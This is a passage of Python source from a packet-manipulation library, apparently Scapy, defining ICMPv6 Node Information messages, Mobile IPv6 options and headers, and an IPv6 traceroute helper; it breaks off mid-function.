Qtype" def names2dnsrepr(x): """ Take as input a list of DNS names or a single DNS name and encode it in DNS format (with possible compression) If a string that is already a DNS name in DNS format is passed, it is returned unmodified. Result is a string. !!! At the moment, compression is not implemented !!! """ if type(x) is str: if x and x[-1] == '\x00': # stupid heuristic return x.encode('ascii') x = [x.encode('ascii')] elif type(x) is bytes: if x and x[-1] == 0: return x x = [x] res = [] for n in x: if type(n) is str: n = n.encode('ascii') termin = b"\x00" if n.count(b'.') == 0: # single-component gets one more termin += bytes([0]) n = b"".join(map(lambda y: chr(len(y)).encode('ascii')+y, n.split(b"."))) + termin res.append(n) return b"".join(res) def dnsrepr2names(x): """ Take as input a DNS encoded string (possibly compressed) and returns a list of DNS names contained in it. If provided string is already in printable format (does not end with a null character, a one element list is returned). Result is a list. """ res = [] cur = b"" if type(x) is str: x = x.encode('ascii') while x: #l = ord(x[0]) l = x[0] x = x[1:] if l == 0: if cur and cur[-1] == ord('.'): cur = cur[:-1] res.append(cur) cur = b"" #if x and ord(x[0]) == 0: # single component if x and x[0] == 0: # single component x = x[1:] continue if l & 0xc0: # XXX TODO : work on that -- arno raise Exception("DNS message can't be compressed at this point!") else: cur += x[:l]+b"." x = x[l:] return res class NIQueryDataField(StrField): def __init__(self, name, default): StrField.__init__(self, name, default) def i2h(self, pkt, x): if x is None: return x t,val = x if t == 1: val = dnsrepr2names(val)[0] return val def h2i(self, pkt, x): if x is tuple and type(x[0]) is int: return x val = None try: # Try IPv6 inet_pton(socket.AF_INET6, x) val = (0, x) except: try: # Try IPv4 inet_pton(socket.AF_INET, x) val = (2, x) except: # Try DNS if x is None: x = b"" x = names2dnsrepr(x) val = (1, x) return val def i2repr(self, pkt, x): t,val = x if t == 1: # DNS Name # we don't use dnsrepr2names() to deal with # possible weird data extracted info res = [] weird = None while val: #l = ord(val[0]) l = val[0] val = val[1:] if l == 0: if (len(res) > 1 and val): # fqdn with data behind weird = val elif len(val) > 1: # single label with data behind weird = val[1:] break res.append(val[:l]+".") val = val[l:] tmp = "".join(res) if tmp and tmp[-1] == '.': tmp = tmp[:-1] return tmp return repr(val) def getfield(self, pkt, s): qtype = getattr(pkt, "qtype") if qtype == 0: # NOOP return s, (0, b"") else: code = getattr(pkt, "code") if code == 0: # IPv6 Addr return s[16:], (0, inet_ntop(socket.AF_INET6, s[:16])) elif code == 2: # IPv4 Addr return s[4:], (2, inet_ntop(socket.AF_INET, s[:4])) else: # Name or Unknown return b"", (1, s) def addfield(self, pkt, s, val): if ((type(val) is tuple and val[1] is None) or val is None): val = (1, b"") t = val[0] if t == 1: if type(val[1]) is str: tmp = val[1].encode('ascii') else: tmp = val[1] return s + tmp elif t == 0: return s + inet_pton(socket.AF_INET6, val[1]) else: return s + inet_pton(socket.AF_INET, val[1]) class NIQueryCodeField(ByteEnumField): def i2m(self, pkt, x): if x is None: d = pkt.getfieldval("data") if d is None: return 1 elif d[0] == 0: # IPv6 address return 0 elif d[0] == 1: # Name return 1 elif d[0] == 2: # IPv4 address return 2 else: return 1 return x _niquery_code = {0: "IPv6 Query", 1: "Name Query", 2: "IPv4 Query"} #_niquery_flags = { 2: "All unicast addresses", 4: "IPv4 addresses", # 8: "Link-local addresses", 16: "Site-local addresses", # 32: "Global addresses" } # "This NI type has no defined flags and never has a Data Field". Used # to know if the destination is up and implements NI protocol. class ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6): name = "ICMPv6 Node Information Query - NOOP Query" fields_desc = [ ByteEnumField("type", 139, icmp6types), NIQueryCodeField("code", None, _niquery_code), XShortField("cksum", None), ShortEnumField("qtype", 0, icmp6_niqtypes), BitField("unused", 0, 10), FlagsField("flags", 0, 6, "TACLSG"), NonceField("nonce", None), NIQueryDataField("data", None) ] class ICMPv6NIQueryName(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv6 Name Query" qtype = 2 # We ask for the IPv6 address of the peer class ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv6 Address Query" qtype = 3 flags = 0x3E class ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP): name = "ICMPv6 Node Information Query - IPv4 Address Query" qtype = 4 _nireply_code = { 0: "Successful Reply", 1: "Response Refusal", 3: "Unknown query type" } _nireply_flags = { 1: "Reply set incomplete", 2: "All unicast addresses", 4: "IPv4 addresses", 8: "Link-local addresses", 16: "Site-local addresses", 32: "Global addresses" } # Internal repr is one of those : # (0, "some string") : unknow qtype value are mapped to that one # (3, [ (ttl, ip6), ... ]) # (4, [ (ttl, ip4), ... ]) # (2, [ttl, dns_names]) : dns_names is one string that contains # all the DNS names. Internally it is kept ready to be sent # (undissected). i2repr() decode it for user. This is to # make build after dissection bijective. # # I also merged getfield() and m2i(), and addfield() and i2m(). class NIReplyDataField(StrField): def i2h(self, pkt, x): if x is None: return x t,val = x if t == 2: ttl, dnsnames = val val = [ttl] + dnsrepr2names(dnsnames) return val def h2i(self, pkt, x): qtype = 0 # We will decode it as string if not # overridden through 'qtype' in pkt # No user hint, let's use 'qtype' value for that purpose if type(x) is not tuple: if pkt is not None: qtype = getattr(pkt, "qtype") else: qtype = x[0] x = x[1] # From that point on, x is the value (second element of the tuple) if qtype == 2: # DNS name if type(x) is str: # listify the string x = x.encode('ascii') x = [x] elif type(x) is bytes: x = [x] if type(x) is list and x and type(x[0]) is not int: # ttl was omitted : use 0 x = [0] + x ttl = x[0] names = x[1:] return (2, [ttl, names2dnsrepr(names)]) elif qtype in [3, 4]: # IPv4 or IPv6 addr if type(x) is str or type(x) is bytes: x = [x] # User directly provided an IP, instead of list # List elements are not tuples, user probably # omitted ttl value : we will use 0 instead def addttl(x): if type(x) is str or type(x) is bytes: return (0, x) return x return (qtype, list(map(addttl, x))) return (qtype, x) def addfield(self, pkt, s, val): t,tmp = val if tmp is None: tmp = b"" if t == 2: ttl,dnsstr = tmp return s+ struct.pack("!I", ttl) + dnsstr elif t == 3: #return s + "".join(map(lambda (x,y): struct.pack("!I", x)+inet_pton(socket.AF_INET6, y), tmp)) return s + b"".join(map(lambda a: struct.pack("!I", a[0])+inet_pton(socket.AF_INET6, a[1]), tmp)) elif t == 4: #return s + "".join(map(lambda (x,y): struct.pack("!I", x)+inet_pton(socket.AF_INET, y), tmp)) return s + b"".join(map(lambda a: struct.pack("!I", a[0])+inet_pton(socket.AF_INET, a[1]), tmp)) else: return s + tmp def getfield(self, pkt, s): code = getattr(pkt, "code") if code != 0: return s, (0, b"") qtype = getattr(pkt, "qtype") if qtype == 0: # NOOP return s, (0, b"") elif qtype == 2: if len(s) < 4: return s, (0, b"") ttl = struct.unpack("!I", s[:4])[0] return b"", (2, [ttl, s[4:]]) elif qtype == 3: # IPv6 addresses with TTLs # XXX TODO : get the real length res = [] while len(s) >= 20: # 4 + 16 ttl = struct.unpack("!I", s[:4])[0] ip = inet_ntop(socket.AF_INET6, s[4:20]) res.append((ttl, ip)) s = s[20:] return s, (3, res) elif qtype == 4: # IPv4 addresses with TTLs # XXX TODO : get the real length res = [] while len(s) >= 8: # 4 + 4 ttl = struct.unpack("!I", s[:4])[0] ip = inet_ntop(socket.AF_INET, s[4:8]) res.append((ttl, ip)) s = s[8:] return s, (4, res) else: # XXX TODO : implement me and deal with real length return b"", (0, s) def i2repr(self, pkt, x): if x is None: return "[]" if type(x) is tuple and len(x) == 2: t, val = x if t == 2: # DNS names ttl,l = val l = dnsrepr2names(l) return "ttl:%d %s" % (ttl, ", ".join(l)) elif t == 3 or t == 4: #return "[ %s ]" % (", ".join(map(lambda (x,y): "(%d, %s)" % (x, y), val))) return "[ %s ]" % (", ".join(map(lambda a: "(%d, %s)" % a, val))) return repr(val) return repr(x) # XXX should not happen # By default, sent responses have code set to 0 (successful) class ICMPv6NIReplyNOOP(_ICMPv6NIAnswers, _ICMPv6NIHashret, _ICMPv6): name = "ICMPv6 Node Information Reply - NOOP Reply" fields_desc = [ ByteEnumField("type", 140, icmp6types), ByteEnumField("code", 0, _nireply_code), XShortField("cksum", None), ShortEnumField("qtype", 0, icmp6_niqtypes), BitField("unused", 0, 10), FlagsField("flags", 0, 6, "TACLSG"), NonceField("nonce", None), NIReplyDataField("data", None)] class ICMPv6NIReplyName(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Node Names" qtype = 2 class ICMPv6NIReplyIPv6(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - IPv6 addresses" qtype = 3 class ICMPv6NIReplyIPv4(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - IPv4 addresses" qtype = 4 class ICMPv6NIReplyRefuse(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Responder refuses to supply answer" code = 1 class ICMPv6NIReplyUnknown(ICMPv6NIReplyNOOP): name = "ICMPv6 Node Information Reply - Qtype unknown to the responder" code = 2 def _niquery_guesser(p): cls = conf.raw_layer #type = ord(p[0]) type = p[0] if type == 139: # Node Info Query specific stuff if len(p) > 6: qtype, = struct.unpack("!H", p[4:6]) cls = { 0: ICMPv6NIQueryNOOP, 2: ICMPv6NIQueryName, 3: ICMPv6NIQueryIPv6, 4: ICMPv6NIQueryIPv4 }.get(qtype, conf.raw_layer) elif type == 140: # Node Info Reply specific stuff #code = ord(p[1]) code = p[1] if code == 0: if len(p) > 6: qtype, = struct.unpack("!H", p[4:6]) cls = { 2: ICMPv6NIReplyName, 3: ICMPv6NIReplyIPv6, 4: ICMPv6NIReplyIPv4 }.get(qtype, ICMPv6NIReplyNOOP) elif code == 1: cls = ICMPv6NIReplyRefuse elif code == 2: cls = ICMPv6NIReplyUnknown return cls ############################################################################# ############################################################################# ### Mobile IPv6 (RFC 3775) and Nemo (RFC 3963) ### ############################################################################# ############################################################################# # Mobile IPv6 ICMPv6 related classes class ICMPv6HAADRequest(_ICMPv6): name = 'ICMPv6 Home Agent Address Discovery Request' fields_desc = [ ByteEnumField("type", 144, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("R", 1, 1, {1: 'MR'}), XBitField("res", 0, 15) ] def hashret(self): return struct.pack("!H",self.id)+self.payload.hashret() class ICMPv6HAADReply(_ICMPv6): name = 'ICMPv6 Home Agent Address Discovery Reply' fields_desc = [ ByteEnumField("type", 145, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("R", 1, 1, {1: 'MR'}), XBitField("res", 0, 15), IP6ListField('addresses', None) ] def hashret(self): return struct.pack("!H",self.id)+self.payload.hashret() def answers(self, other): if not isinstance(other, ICMPv6HAADRequest): return 0 return self.id == other.id class ICMPv6MPSol(_ICMPv6): name = 'ICMPv6 Mobile Prefix Solicitation' fields_desc = [ ByteEnumField("type", 146, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), XShortField("res", 0) ] def _hashret(self): return struct.pack("!H",self.id) class ICMPv6MPAdv(_ICMPv6NDGuessPayload, _ICMPv6): name = 'ICMPv6 Mobile Prefix Advertisement' fields_desc = [ ByteEnumField("type", 147, icmp6types), ByteField("code", 0), XShortField("cksum", None), XShortField("id", None), BitEnumField("flags", 2, 2, {2: 'M', 1:'O'}), XBitField("res", 0, 14) ] def hashret(self): return struct.pack("!H",self.id) def answers(self, other): return isinstance(other, ICMPv6MPSol) # Mobile IPv6 Options classes _mobopttypes = { 2: "Binding Refresh Advice", 3: "Alternate Care-of Address", 4: "Nonce Indices", 5: "Binding Authorization Data", 6: "Mobile Network Prefix (RFC3963)", 7: "Link-Layer Address (RFC4068)", 8: "Mobile Node Identifier (RFC4283)", 9: "Mobility Message Authentication (RFC4285)", 10: "Replay Protection (RFC4285)", 11: "CGA Parameters Request (RFC4866)", 12: "CGA Parameters (RFC4866)", 13: "Signature (RFC4866)", 14: "Home Keygen Token (RFC4866)", 15: "Care-of Test Init (RFC4866)", 16: "Care-of Test (RFC4866)" } class _MIP6OptAlign: """ Mobile IPv6 options have alignment requirements of the form x*n+y. This class is inherited by all MIPv6 options to help in computing the required Padding for that option, i.e. the need for a Pad1 or PadN option before it. They only need to provide x and y as class parameters. (x=0 and y=0 are used when no alignment is required)""" def alignment_delta(self, curpos): x = self.x ; y = self.y if x == 0 and y ==0: return 0 delta = x*((curpos - y + x - 1)//x) + y - curpos return delta class MIP6OptBRAdvice(_MIP6OptAlign, Packet): name = 'Mobile IPv6 Option - Binding Refresh Advice' fields_desc = [ ByteEnumField('otype', 2, _mobopttypes), ByteField('olen', 2), ShortField('rinter', 0) ] x = 2 ; y = 0# alignment requirement: 2n class MIP6OptAltCoA(_MIP6OptAlign, Packet): name = 'MIPv6 Option - Alternate Care-of Address' fields_desc = [ ByteEnumField('otype', 3, _mobopttypes), ByteField('olen', 16), IP6Field("acoa", "::") ] x = 8 ; y = 6 # alignment requirement: 8n+6 class MIP6OptNonceIndices(_MIP6OptAlign, Packet): name = 'MIPv6 Option - Nonce Indices' fields_desc = [ ByteEnumField('otype', 4, _mobopttypes), ByteField('olen', 16), ShortField('hni', 0), ShortField('coni', 0) ] x = 2 ; y = 0 # alignment requirement: 2n class MIP6OptBindingAuthData(_MIP6OptAlign, Packet): name = 'MIPv6 Option - Binding Authorization Data' fields_desc = [ ByteEnumField('otype', 5, _mobopttypes), ByteField('olen', 16), BitField('authenticator', 0, 96) ] x = 8 ; y = 2 # alignment requirement: 8n+2 class MIP6OptMobNetPrefix(_MIP6OptAlign, Packet): # NEMO - RFC 3963 name = 'NEMO Option - Mobile Network Prefix' fields_desc = [ ByteEnumField("otype", 6, _mobopttypes), ByteField("olen", 18), ByteField("reserved", 0), ByteField("plen", 64), IP6Field("prefix", "::") ] x = 8 ; y = 4 # alignment requirement: 8n+4 class MIP6OptLLAddr(_MIP6OptAlign, Packet): # Sect 6.4.4 of RFC 4068 name = "MIPv6 Option - Link-Layer Address (MH-LLA)" fields_desc = [ ByteEnumField("otype", 7, _mobopttypes), ByteField("olen", 7), ByteEnumField("ocode", 2, _rfc4068_lla_optcode), ByteField("pad", 0), MACField("lla", ETHER_ANY) ] # Only support ethernet x = 0 ; y = 0 # alignment requirement: none class MIP6OptMNID(_MIP6OptAlign, Packet): # RFC 4283 name = "MIPv6 Option - Mobile Node Identifier" fields_desc = [ ByteEnumField("otype", 8, _mobopttypes), FieldLenField("olen", None, length_of="id", fmt="B", adjust = lambda pkt,x: x+1), ByteEnumField("subtype", 1, {1: "NAI"}), StrLenField("id", "", length_from = lambda pkt: pkt.olen-1) ] x = 0 ; y = 0 # alignment requirement: none # We only support decoding and basic build. Automatic HMAC computation is # too much work for our current needs. It is left to the user (I mean ... # you). --arno class MIP6OptMsgAuth(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 5) name = "MIPv6 Option - Mobility Message Authentication" fields_desc = [ ByteEnumField("otype", 9, _mobopttypes), FieldLenField("olen", None, length_of="authdata", fmt="B", adjust = lambda pkt,x: x+5), ByteEnumField("subtype", 1, {1: "MN-HA authentication mobility option", 2: "MN-AAA authentication mobility option"}), IntField("mspi", None), StrLenField("authdata", "A"*12, length_from = lambda pkt: pkt.olen-5) ] x = 4 ; y = 1 # alignment requirement: 4n+1 # Extracted from RFC 1305 (NTP) : # NTP timestamps are represented as a 64-bit unsigned fixed-point number, # in seconds relative to 0h on 1 January 1900. The integer part is in the # first 32 bits and the fraction part in the last 32 bits. class NTPTimestampField(LongField): epoch = (1900, 1, 1, 0, 0, 0, 5, 1, 0) def i2repr(self, pkt, x): if x < ((50*31536000)<<32): return "Some date a few decades ago (%d)" % x # delta from epoch (= (1900, 1, 1, 0, 0, 0, 5, 1, 0)) to # January 1st 1970 : delta = -2209075761 i = int(x >> 32) j = float(x & 0xffffffff) * 2.0**-32 res = i + j + delta from time import strftime t = time.strftime("%a, %d %b %Y %H:%M:%S +0000", time.gmtime(res)) return "%s (%d)" % (t, x) class MIP6OptReplayProtection(_MIP6OptAlign, Packet): # RFC 4285 (Sect. 6) name = "MIPv6 option - Replay Protection" fields_desc = [ ByteEnumField("otype", 10, _mobopttypes), ByteField("olen", 8), NTPTimestampField("timestamp", 0) ] x = 8 ; y = 2 # alignment requirement: 8n+2 class MIP6OptCGAParamsReq(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.6) name = "MIPv6 option - CGA Parameters Request" fields_desc = [ ByteEnumField("otype", 11, _mobopttypes), ByteField("olen", 0) ] x = 0 ; y = 0 # alignment requirement: none # XXX TODO: deal with CGA param fragmentation and build of defragmented # XXX version. Passing of a big CGAParam structure should be # XXX simplified. Make it hold packets, by the way --arno class MIP6OptCGAParams(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.1) name = "MIPv6 option - CGA Parameters" fields_desc = [ ByteEnumField("otype", 12, _mobopttypes), FieldLenField("olen", None, length_of="cgaparams", fmt="B"), StrLenField("cgaparams", "", length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptSignature(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.2) name = "MIPv6 option - Signature" fields_desc = [ ByteEnumField("otype", 13, _mobopttypes), FieldLenField("olen", None, length_of="sig", fmt="B"), StrLenField("sig", "", length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptHomeKeygenToken(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.3) name = "MIPv6 option - Home Keygen Token" fields_desc = [ ByteEnumField("otype", 14, _mobopttypes), FieldLenField("olen", None, length_of="hkt", fmt="B"), StrLenField("hkt", "", length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptCareOfTestInit(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.4) name = "MIPv6 option - Care-of Test Init" fields_desc = [ ByteEnumField("otype", 15, _mobopttypes), ByteField("olen", 0) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptCareOfTest(_MIP6OptAlign, Packet): # RFC 4866 (Sect. 5.5) name = "MIPv6 option - Care-of Test" fields_desc = [ ByteEnumField("otype", 16, _mobopttypes), FieldLenField("olen", None, length_of="cokt", fmt="B"), StrLenField("cokt", '\x00'*8, length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none class MIP6OptUnknown(_MIP6OptAlign, Packet): name = 'Scapy6 - Unknown Mobility Option' fields_desc = [ ByteEnumField("otype", 6, _mobopttypes), FieldLenField("olen", None, length_of="odata", fmt="B"), StrLenField("odata", "", length_from = lambda pkt: pkt.olen) ] x = 0 ; y = 0 # alignment requirement: none moboptcls = { 0: Pad1, 1: PadN, 2: MIP6OptBRAdvice, 3: MIP6OptAltCoA, 4: MIP6OptNonceIndices, 5: MIP6OptBindingAuthData, 6: MIP6OptMobNetPrefix, 7: MIP6OptLLAddr, 8: MIP6OptMNID, 9: MIP6OptMsgAuth, 10: MIP6OptReplayProtection, 11: MIP6OptCGAParamsReq, 12: MIP6OptCGAParams, 13: MIP6OptSignature, 14: MIP6OptHomeKeygenToken, 15: MIP6OptCareOfTestInit, 16: MIP6OptCareOfTest } # Main Mobile IPv6 Classes mhtypes = { 0: 'BRR', 1: 'HoTI', 2: 'CoTI', 3: 'HoT', 4: 'CoT', 5: 'BU', 6: 'BA', 7: 'BE', 8: 'Fast BU', 9: 'Fast BA', 10: 'Fast NA' } # From http://www.iana.org/assignments/mobility-parameters bastatus = { 0: 'Binding Update accepted', 1: 'Accepted but prefix discovery necessary', 128: 'Reason unspecified', 129: 'Administratively prohibited', 130: 'Insufficient resources', 131: 'Home registration not supported', 132: 'Not home subnet', 133: 'Not home agent for this mobile node', 134: 'Duplicate Address Detection failed', 135: 'Sequence number out of window', 136: 'Expired home nonce index', 137: 'Expired care-of nonce index', 138: 'Expired nonces', 139: 'Registration type change disallowed', 140: 'Mobile Router Operation not permitted', 141: 'Invalid Prefix', 142: 'Not Authorized for Prefix', 143: 'Forwarding Setup failed (prefixes missing)', 144: 'MIPV6-ID-MISMATCH', 145: 'MIPV6-MESG-ID-REQD', 146: 'MIPV6-AUTH-FAIL', 147: 'Permanent home keygen token unavailable', 148: 'CGA and signature verification failed', 149: 'Permanent home keygen token exists', 150: 'Non-null home nonce index expected' } class _MobilityHeader(Packet): name = 'Dummy IPv6 Mobility Header' overload_fields = { IPv6: { "nh": 135 }} def post_build(self, p, pay): p += pay l = self.len if self.len is None: l = (len(p)-8)//8 p = bytes([p[0]]) + struct.pack("B", l) + p[2:] if self.cksum is None: cksum = in6_chksum(135, self.underlayer, p) else: cksum = self.cksum p = p[:4]+struct.pack("!H", cksum)+p[6:] return p class MIP6MH_Generic(_MobilityHeader): # Mainly for decoding of unknown msg name = "IPv6 Mobility Header - Generic Message" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", None, mhtypes), ByteField("res", None), XShortField("cksum", None), StrLenField("msg", b"\x00"*2, length_from = lambda pkt: 8*pkt.len-6) ] # TODO: make a generic _OptionsField class _MobilityOptionsField(PacketListField): islist = 1 holds_packet = 1 def __init__(self, name, default, cls, curpos, count_from=None, length_from=None): self.curpos = curpos PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from) def getfield(self, pkt, s): l = self.length_from(pkt) return s[l:],self.m2i(pkt, s[:l]) def i2len(self, pkt, i): return len(self.i2m(pkt, i)) def m2i(self, pkt, x): opt = [] while x: #o = ord(x[0]) # Option type o = x[0] # Option type cls = self.cls if o in moboptcls: cls = moboptcls[o] try: op = cls(x) except: op = self.cls(x) opt.append(op) if isinstance(op.payload, conf.raw_layer): x = op.payload.load del(op.payload) else: x = b"" return opt def i2m(self, pkt, x): autopad = None try: autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field except: autopad = 1 if not autopad: return b"".join(map(str, x)) curpos = self.curpos s = b"" for p in x: d = p.alignment_delta(curpos) curpos += d if d == 1: s += bytes(Pad1()) elif d != 0: s += bytes(PadN(optdata=b'\x00'*(d-2))) pstr = bytes(p) curpos += len(pstr) s += pstr # Let's make the class including our option field # a multiple of 8 octets long d = curpos % 8 if d == 0: return s d = 8 - d if d == 1: s +=bytes(Pad1()) elif d != 0: s += bytes(PadN(optdata=b'\x00'*(d-2))) return s def addfield(self, pkt, s, val): return s+self.i2m(pkt, val) class MIP6MH_BRR(_MobilityHeader): name = "IPv6 Mobility Header - Binding Refresh Request" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 0, mhtypes), ByteField("res", None), XShortField("cksum", None), ShortField("res2", None), _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 8, length_from = lambda pkt: 8*pkt.len) ] overload_fields = { IPv6: { "nh": 135 } } def hashret(self): # Hack: BRR, BU and BA have the same hashret that returns the same # value "\x00\x08\x09" (concatenation of mhtypes). This is # because we need match BA with BU and BU with BRR. --arno return b"\x00\x08\x09" class MIP6MH_HoTI(_MobilityHeader): name = "IPv6 Mobility Header - Home Test Init" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 1, mhtypes), ByteField("res", None), XShortField("cksum", None), StrFixedLenField("reserved", "\x00"*2, 2), StrFixedLenField("cookie", "\x00"*8, 8), _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 16, length_from = lambda pkt: 8*(pkt.len-1)) ] overload_fields = { IPv6: { "nh": 135 } } def hashret(self): return self.cookie class MIP6MH_CoTI(MIP6MH_HoTI): name = "IPv6 Mobility Header - Care-of Test Init" mhtype = 2 def hashret(self): return self.cookie class MIP6MH_HoT(_MobilityHeader): name = "IPv6 Mobility Header - Home Test" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), ByteEnumField("mhtype", 3, mhtypes), ByteField("res", None), XShortField("cksum", None), ShortField("index", None), StrFixedLenField("cookie", "\x00"*8, 8), StrFixedLenField("token", "\x00"*8, 8), _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 24, length_from = lambda pkt: 8*(pkt.len-2)) ] overload_fields = { IPv6: { "nh": 135 } } def hashret(self): return self.cookie def answers(self): if (isinstance(other, MIP6MH_HoTI) and self.cookie == other.cookie): return 1 return 0 class MIP6MH_CoT(MIP6MH_HoT): name = "IPv6 Mobility Header - Care-of Test" mhtype = 4 def hashret(self): return self.cookie def answers(self): if (isinstance(other, MIP6MH_CoTI) and self.cookie == other.cookie): return 1 return 0 class LifetimeField(ShortField): def i2repr(self, pkt, x): return "%d sec" % (4*x) class MIP6MH_BU(_MobilityHeader): name = "IPv6 Mobility Header - Binding Update" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) ByteEnumField("mhtype", 5, mhtypes), ByteField("res", None), XShortField("cksum", None), XShortField("seq", None), # TODO: ShortNonceField FlagsField("flags", "KHA", 7, "PRMKLHA"), XBitField("reserved", 0, 9), LifetimeField("mhtime", 3), # unit == 4 seconds _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 12, length_from = lambda pkt: 8*pkt.len - 4) ] overload_fields = { IPv6: { "nh": 135 } } def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() return "\x00\x08\x09" def answers(self, other): if isinstance(other, MIP6MH_BRR): return 1 return 0 class MIP6MH_BA(_MobilityHeader): name = "IPv6 Mobility Header - Binding ACK" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) ByteEnumField("mhtype", 6, mhtypes), ByteField("res", None), XShortField("cksum", None), ByteEnumField("status", 0, bastatus), FlagsField("flags", "K", 3, "PRK"), XBitField("res2", None, 5), XShortField("seq", None), # TODO: ShortNonceField XShortField("mhtime", 0), # unit == 4 seconds _PhantomAutoPadField("autopad", 1), # autopad activated by default _MobilityOptionsField("options", [], MIP6OptUnknown, 12, length_from = lambda pkt: 8*pkt.len-4) ] overload_fields = { IPv6: { "nh": 135 }} def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() return "\x00\x08\x09" def answers(self, other): if (isinstance(other, MIP6MH_BU) and other.mhtype == 5 and self.mhtype == 6 and other.flags & 0x1 and # Ack request flags is set self.seq == other.seq): return 1 return 0 _bestatus = { 1: 'Unknown binding for Home Address destination option', 2: 'Unrecognized MH Type value' } # TODO: match Binding Error to its stimulus class MIP6MH_BE(_MobilityHeader): name = "IPv6 Mobility Header - Binding Error" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) ByteEnumField("mhtype", 7, mhtypes), ByteField("res", 0), XShortField("cksum", None), ByteEnumField("status", 0, _bestatus), ByteField("reserved", 0), IP6Field("ha", "::"), _MobilityOptionsField("options", [], MIP6OptUnknown, 24, length_from = lambda pkt: 8*(pkt.len-2)) ] overload_fields = { IPv6: { "nh": 135 }} _mip6_mhtype2cls = { 0: MIP6MH_BRR, 1: MIP6MH_HoTI, 2: MIP6MH_CoTI, 3: MIP6MH_HoT, 4: MIP6MH_CoT, 5: MIP6MH_BU, 6: MIP6MH_BA, 7: MIP6MH_BE } ############################################################################# ############################################################################# ### Traceroute6 ### ############################################################################# ############################################################################# class AS_resolver6(AS_resolver_riswhois): def _resolve_one(self, ip): """ overloaded version to provide a Whois resolution on the embedded IPv4 address if the address is 6to4 or Teredo. Otherwise, the native IPv6 address is passed. """ if in6_isaddr6to4(ip): # for 6to4, use embedded @ tmp = inet_pton(socket.AF_INET6, ip) addr = inet_ntop(socket.AF_INET, tmp[2:6]) elif in6_isaddrTeredo(ip): # for Teredo, use mapped address addr = teredoAddrExtractInfo(ip)[2] else: addr = ip _, asn, desc = AS_resolver_riswhois._resolve_one(self, addr) return ip,asn,desc class TracerouteResult6(TracerouteResult): def show(self): #return self.make_table(lambda (s,r): (s.sprintf("%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}"), # TODO: ICMPv6 ! return self.make_table(lambda s,r: (s.sprintf("%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}"), # TODO: ICMPv6 ! s.hlim, r.sprintf("%-42s,IPv6.src% {TCP:%TCP.flags%}"+ "{ICMPv6DestUnreach:%ir,type%}{ICMPv6PacketTooBig:%ir,type%}"+ "{ICMPv6TimeExceeded:%ir,type%}{ICMPv6ParamProblem:%ir,type%}"+ "{ICMPv6EchoReply:%ir,type%}"))) def get_trace(self): trace = {} for s,r in self.res: if IPv6 not in s: continue d = s[IPv6].dst if d not in trace: trace[d] = {} t = not (ICMPv6TimeExceeded in r or ICMPv6DestUnreach in r or ICMPv6PacketTooBig in r or ICMPv6ParamProblem in r) trace[d][s[IPv6].hlim] = r[IPv6].src, t for k in trace.values(): #m = filter(lambda x: k[x][1], k.keys()) m = [ x for x in k.keys() if k[x][1] ] if not m: continue m = min(m) for l in k.keys(): if l > m: del(k[l]) return trace def graph(self, ASres=AS_resolver6(), **kargs): TracerouteResult.graph(self, ASres=ASres, **kargs) def traceroute6(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), l4 = None, timeout=2, verbose=None, **kargs): """ Instant TCP traceroute using IPv6 : traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None """ if verbose is None: verbose = conf.verb if l4 is None: a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/TCP(seq=RandInt(),sport=sport, dport=dport), timeout=timeout, filter="icmp6 or tcp", verbose=verbose, **kargs) else: a,b = sr(IPv6(dst=target, hlim=(minttl,maxttl))/l4, 